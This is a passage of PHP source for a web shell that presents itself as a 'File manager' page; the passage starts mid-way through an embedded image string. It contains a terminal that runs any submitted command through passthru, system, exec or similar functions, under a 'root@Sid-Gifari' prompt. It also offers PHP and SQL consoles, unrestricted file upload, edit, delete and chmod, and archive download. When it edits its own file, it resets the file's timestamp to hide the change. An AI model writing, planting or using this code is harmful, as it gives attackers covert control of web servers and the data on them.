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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
